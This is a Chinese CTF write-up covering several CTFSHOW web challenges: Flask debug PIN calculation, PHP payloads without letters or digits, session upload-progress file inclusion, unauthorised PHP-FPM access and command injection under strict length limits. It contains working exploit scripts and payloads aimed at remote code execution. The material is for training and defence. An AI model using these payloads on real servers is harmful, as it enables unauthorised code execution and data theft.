当前位置: 首页 > news >正文

【Web】CTFSHOW 高频漏洞实战解析:从PIN码计算到无字母数字RCE

1. Flask Debug PIN码计算漏洞解析

Flask作为Python生态中流行的轻量级Web框架,其调试模式下的PIN码保护机制常成为CTF赛题的突破口。这个看似简单的6位数字背后,其实隐藏着严谨的生成逻辑。我们先从一个真实案例web801入手,看看如何通过系统信息泄露计算出这个关键PIN码。

1.1 漏洞利用条件与信息收集

当Flask应用开启debug模式且未正确配置时,攻击者可以通过访问/console路由进入交互式调试界面。这个界面需要输入PIN码才能执行任意Python代码,而PIN码的生成依赖于以下五个关键参数:

  1. 服务器用户名:通常为root或容器默认用户
  2. 模块名:固定为flask.app
  3. 应用类名:固定为Flask
  4. 应用文件绝对路径:如/usr/local/lib/python3.8/site-packages/flask/app.py
  5. 机器标识:由MAC地址和Docker容器ID组合生成

在web801题目中,我们通过精心构造的请求获取这些信息:

# 获取应用路径(触发错误页面) /file?filename=suibian # 读取MAC地址(转十进制) /file?filename=/sys/class/net/eth0/address # 获取boot_id /file?filename=/proc/sys/kernel/random/boot_id # 获取cgroup信息 /file?filename=/proc/self/cgroup

1.2 机器标识(machine_id)的构造

现代Linux系统通过三个文件提供机器标识信息,我们需要按优先级组合:

  1. /etc/machine-id(最高优先级)
  2. /proc/sys/kernel/random/boot_id(次优先级)
  3. /proc/self/cgroup(容器环境常用)

在Docker环境中,通常需要拼接boot_idcgroup信息:

boot_id = "225374fa-04bc-4346-9f39-48fa82829ca9" cgroup = "b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d" machine_id = boot_id + cgroup # 直接字符串拼接

1.3 PIN码生成算法剖析

Flask使用SHA1哈希算法生成PIN码,其核心逻辑如下:

import hashlib from itertools import chain def generate_pin(public_bits, private_bits): h = hashlib.sha1() for bit in chain(public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] return '-'.join(num[i:i+3] for i in range(0,9,3))

实际调用示例:

public_bits = [ 'root', # 用户名 'flask.app', # 模块名 'Flask', # 类名 '/usr/local/lib/python3.8/site-packages/flask/app.py' # 应用路径 ] private_bits = [ '2485377605532', # MAC地址十进制 '225374fa-...18a766d' # machine_id ] print(generate_pin(public_bits, private_bits)) # 输出类似"123-456-789"

1.4 实战利用技巧

  1. 信息验证:确保所有参数与报错页面显示一致
  2. 多环境尝试:开发/生产环境路径可能不同
  3. 容器逃逸:当目标在Docker内时,尝试读取宿主机文件
  4. 历史漏洞:旧版Flask的machine_id生成逻辑更简单

成功获取PIN码后,在/console界面输入即可获得Python代码执行权限,进而读取flag或执行系统命令。这个案例展示了框架安全配置的重要性,也提醒开发者切勿在生产环境开启调试模式。

2. 无字母数字RCE的魔法操作

在web802题目中,我们遇到一个有趣的限制:代码执行时禁止使用字母和数字字符。这种防御看似严密,实则可以通过PHP的位运算特性巧妙绕过。

2.1 取反操作的核心原理

PHP的取反运算符(~)会对字符的二进制表示进行按位取反。这个特性让我们可以通过组合特殊字符构造出任意函数名:

<?php echo ~'%96%91%9B%9D%9A'; // 输出"system" ?>

实际利用时,我们需要两次取反来还原原始字符串:

$system = "system"; $command = "cat /f*"; // 构造取反payload $payload = "(~".urlencode(~$system).")(~".urlencode(~$command).");"; // 结果类似: (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%5D)

2.2 实战应用示例

web802的解题过程如下:

  1. 使用取反生成器脚本:
<?php function negateRce(){ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; } negateRce(); ?>
  1. 输入想要执行的函数和命令:
[+]your function: system [+]your command: cat /f*
  1. 得到最终payload:
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%5D);

2.3 进阶绕过技巧

当取反操作也被过滤时,还可以采用以下方法:

  1. 异或运算:通过字符间的异或组合产生新字符
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`'); // $_="system"
  1. 自增构造:利用PHP的类型转换特性
$_=[].''; // $_="Array" $__=$_[''=='$']; // $__="A" $___=++$__; $____=++$___; // 逐步得到其他字母
  1. HTML实体编码:配合二次解码使用

这些技术在真实渗透测试中同样适用,特别是在遇到严格字符过滤时。理解这些底层原理,可以帮助我们开发更健壮的防御方案。

3. 特殊场景下的漏洞组合利用

CTF题目往往会设置多重限制条件,这就需要我们灵活组合各种技术。下面分析几个典型场景。

3.1 临时文件包含的艺术

web808展示了如何利用PHP的session上传进度特性实现文件包含:

  1. 原理剖析
  • 当PHP配置session.upload_progress.enabled为On时
  • 上传文件时会生成临时session文件
  • 文件名格式为/tmp/sess_[PHPSESSID]
  1. 利用脚本核心逻辑
import requests import threading def exploit(): sessid = "ctfshow" url = "http://target/" # 多线程同时进行写和读 def write(): while True: requests.post(url, cookies={'PHPSESSID': sessid}, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /f*");?>'}, files={'file': ('ctfshow', 'ctfshow')}) def read(): while True: r = requests.get(f"{url}?file=/tmp/sess_{sessid}") if 'ctfshow' in r.text: print(r.text) exit() threading.Thread(target=write).start() threading.Thread(target=read).start()

3.2 PHP-FPM未授权访问

web812展示了PHP-FPM的未授权访问漏洞:

  1. 漏洞原理
  • PHP-FPM默认监听9000端口
  • 未正确配置时可接收任意FastCGI请求
  • 通过构造特殊报文实现代码执行
  1. 利用工具核心代码
def send_exploit(host, port, code): params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SERVER_SOFTWARE': 'php/fcgiclient', 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } client = FastCGIClient(host, port, 3, 0) response = client.request(params, code) print(response.decode())
  1. 防护建议
  • 配置PHP-FPM仅监听本地Unix Socket
  • 设置适当的访问控制列表(ACL)
  • 定期更新PHP版本

4. 极致限制下的突破之道

当遇到字符数严格限制的场景时(如web821-web827),需要创造性地利用Linux特性。

4.1 7字符限制下的技巧

  1. 文件创建竞赛
>hp >1.p\ >d\>\ >\ -\ >e64\ >bas\ >7\|\ ... ls -t>0 . 0
  1. 原理分析
  • 利用ls -t按时间排序特性
  • 通过重定向拼接命令片段
  • 最后执行生成的临时脚本

4.2 4字符环境生存指南

在web825中,我们利用dir命令与*通配符的特性:

  1. 关键步骤
>sl >kt- >j\> >j\# >dir *>v >rev *v>x ... sh x sh j
  1. 技术要点
  • dir输出不换行,便于命令拼接
  • 通过逆序文件内容绕过过滤
  • 分阶段构建最终payload

这些案例展示了在极端限制下,对系统特性的深入理解如何帮助我们突破防线。这种思维方式在真实安全研究中同样宝贵。

http://www.jsqmd.com/news/834138/

相关文章:

  • 2026年4月国标弯头品牌实力实力,品质与交付谁更强,国标弯头/碳钢管件/无缝钢管,国标弯头供货商哪家靠谱 - 品牌推荐师
  • 避坑指南:STM32C8T6三个串口中断同时工作,如何解决数据错乱和优先级冲突?
  • 别再只会用0x22读VIN了!手把手教你用UDS诊断服务读取ECU里的‘隐藏数据’(附DID清单)
  • 2026最新:论文AI率90%→10%!DeepSeek 4大免费降AI率指令+3款降AI工具亲测 - 降AI实验室
  • Ledger App中国官方应用下载入口公布|Ledger Wallet 下载使用说明 - 资讯焦点
  • ARM SCP固件架构与安全启动机制解析
  • 虚拟化网络可靠性评估与优化实践
  • Rakkas全栈React框架:一体化开发体验与Vite驱动的实践指南
  • 2026年|2026届毕业生必备指南:6大权威查AIGC检测入口+降AI率工具实测红黑榜 - 降AI实验室
  • 别再只用点对点了!手把手教你用PCL实现点到面ICP,配准速度提升一个量级
  • 百度网盘直链解析工具:3分钟突破限速实现满速下载
  • 避坑指南:树莓派Pico RP2040 I2C通信的5个常见错误与调试技巧
  • 3个步骤解决英雄联盟回放文件无法播放的终极方案
  • AI智能体密钥安全管理:AgentVault架构解析与实战指南
  • AI代码审查实战:基于OpenAI与GitLab的自动化PR评审工具
  • Go语言开源漏洞扫描器Abyss-Scanner:架构解析与CI/CD集成实践
  • DDrawCompat完整指南:让经典游戏在现代Windows上流畅运行的终极方案
  • H3C QoS实战:基于业务流的标签标记与精细化限速配置
  • 终极压缩包密码恢复指南:3分钟掌握ArchivePasswordTestTool完整教程
  • DownKyi完全指南:三步解锁B站8K视频下载的终极方案
  • 5步掌握暗黑破坏神2存档修改:d2s-editor终极指南
  • 基于Adafruit FLORA的红外遥控胸针DIY:从嵌入式编程到可穿戴艺术
  • 企业级应用如何通过 Taotoken 聚合 API 管理多模型下载与调用
  • Seraphine:英雄联盟玩家的终极智能BP助手与战绩查询工具完整指南
  • STM32F407通过SPI接口高效读写SD卡:CubeMX配置与底层驱动实战
  • JX3Toy:剑网3全职业智能宏脚本解决方案
  • Excel MCP Server终极指南:无界面Excel自动化实战
  • LrcHelper:网易云音乐双语歌词下载的终极解决方案
  • 终极macOS清理神器:Pearcleaner 3步彻底卸载应用不留痕迹
  • 昆明整装一站式家装服务:本地优质机构盘点与装修全攻略 - 资讯焦点